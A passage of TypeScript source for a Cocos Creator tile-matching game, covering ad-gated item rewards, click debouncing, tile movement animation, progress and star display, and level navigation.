  809. var currentTime = Date.now();
  810. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  811. if (currentTime - this.lastClickTime < 2000) {
  812. console.log('lichao: 点击过于频繁,防抖中');
  813. // 防抖,阻止当前点击事件
  814. return;
  815. }
  816. console.log('lichao:防抖成功')
  817. // 更新上一次点击时间为当前时间
  818. this.lastClickTime = currentTime;
  819. if (cc.sys.os === cc.sys.OS_ANDROID) {
  820. console.log('lichao: 播放广告1')
  821. setTimeout(() => {
  822. console.log('lichao: 播放广告2')
  823. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  824. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  825. cc.sys.localStorage.setItem("customerOption", "clearTopThree");
  826. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  827. console.log('lichao: 播放广告3')
  828. } else {
  829. console.log('lichao: 播放广告4');
  830. this.moveup_ad_player_icon.active = false
  831. global_model.game.move_up_counter += 3
  832. global_model.save()
  833. this.updateItemView()
  834. }
  835. }, 300)
  836. } else {
  837. this.moveup_ad_player_icon.active = false
  838. global_model.game.move_up_counter += 3
  839. global_model.save()
  840. this.updateItemView()
  841. }
  842. if (this.lock) return
  843. // console.log('数量不足,弹出购买')
  844. // this.lock = true
  845. }
  846. }
  847. moveup3_elements() {
  848. let pos1 = game_helpers.convetOtherNodeSpaceAR(this.targetNode, this.tileContainer)
  849. for (let index = 0; index < 3; index++) {
  850. if (this.matchList.length > 0) {
  851. let tile = this.matchList.shift()
  852. // let offset = cc.v2(tile.layer * TILE_WIDTH*0.5, -tile.layer * TILE_HEIGHT*0.5)
  853. // let pos = this.getTilePos(tile.row, tile.col, offset)
  854. let targetX = pos1.x - TILE_WIDTH + index * TILE_WIDTH
  855. let targetY = pos1.y + 130
  856. this.minZindex++
  857. let pos = cc.v3(targetX, targetY, 0)
  858. tile.node.zIndex = this.minZindex//固定一下 直接压着
  859. // console.log('-------zindex',cc.macro.MAX_ZINDEX)
  860. // game_helpers.removeElementFromArray(tile, this.matchList)
  861. game_helpers.removeElementFromArray(tile, this.recordList)
  862. this.tileList.push(tile)
  863. cc.tween(tile.node).to(0.25, { position: pos }, { easing: 'sineOut' }).call(() => {
  864. }).start()
  865. }
  866. }
  867. let self = this
  868. setTimeout(() => {
  869. self.check_All_Block(true)
  870. self.moveToRightPos()
  871. }, 250);
  872. }
  873. click_help() {
  874. // game_core.win.open(GameConst.winPath.HelpWin)
  875. }
  876. updateItemView() {
  877. this.txt_hint.string = global_model.game.hint_tip_counter == 0 ? '0' : global_model.game.hint_tip_counter + ''
  878. this.txt_shuffle.string = global_model.game.shuffle_counter == 0 ? '0' : global_model.game.shuffle_counter + ''
  879. this.txt_undo.string = global_model.game.undo_counter == 0 ? '0' : global_model.game.undo_counter + ''
  880. this.txt_put3.string = global_model.game.move_up_counter == 0 ? '0' : global_model.game.move_up_counter + ''
  881. }
  882. close(): void {
  883. // super.close()
  884. }
  885. panelDataUpdate(data: any): void {
  886. this.game_reinit()
  887. }
  888. updateProgress(offset: number) {
  889. this.node_progress.progress += offset
  890. if (this.node_progress.progress <= 0) {
  891. this.node_progress.progress = 0
  892. this.lock = true
  893. this.result_view.active = true
  894. this.result_view_win.active = false
  895. this.result_view_lose.active = true
  896. }
  897. else if (this.node_progress.progress > 1)
  898. this.node_progress.progress = 1
  899. this.node_star1.active = this.node_progress.progress >= 0.1
  900. this.node_star2.active = this.node_progress.progress >= 0.5
  901. this.node_star3.active = this.node_progress.progress >= 0.8
  902. }
  903. update(dt: number): void {
  904. if (this.lock) return
  905. if (this.countDown) {
  906. this.updateProgress(-dt * this.progress_levelBase)
  907. }
  908. }
  909. go_home() {
  910. //this.playSFX(this.btn_click)
  911. cc.director.loadScene("game_home")
  912. }
  913. go_nextLv() {
  914. //this.playSFX(this.btn_click)
  915. global_model.game.selectedLevel++
  916. this.result_view.active = false
  917. this.game_reinit()
  918. }
  919. go_game_reinit() {
  920. //this.playSFX(this.btn_click)
  921. this.result_view.active = false
  922. this.game_reinit()
  923. }
  924. hideshow_settingView() {
  925. //this.playSFX(this.btn_click)
  926. }
  927. toggleMusic(evt: cc.Toggle) {
  928. // global_model.game.music_flag=evt.isChecked?1:0
  929. global_model.save()
  930. }
  931. toggleSFX(evt: cc.Toggle) {
  932. //this.playSFX(this.btn_click)
  933. // global_model.game.sfx_flag=evt.isChecked?1:0
  934. global_model.save()
  935. }
  936. hideshow_LevelView() {
  937. //this.playSFX(this.btn_click)
  938. this.levels_view.active = !this.levels_view.active
  939. }
  940. openFbToshare() {
  941. cc.sys.openURL("fb://")
  942. }
  943. }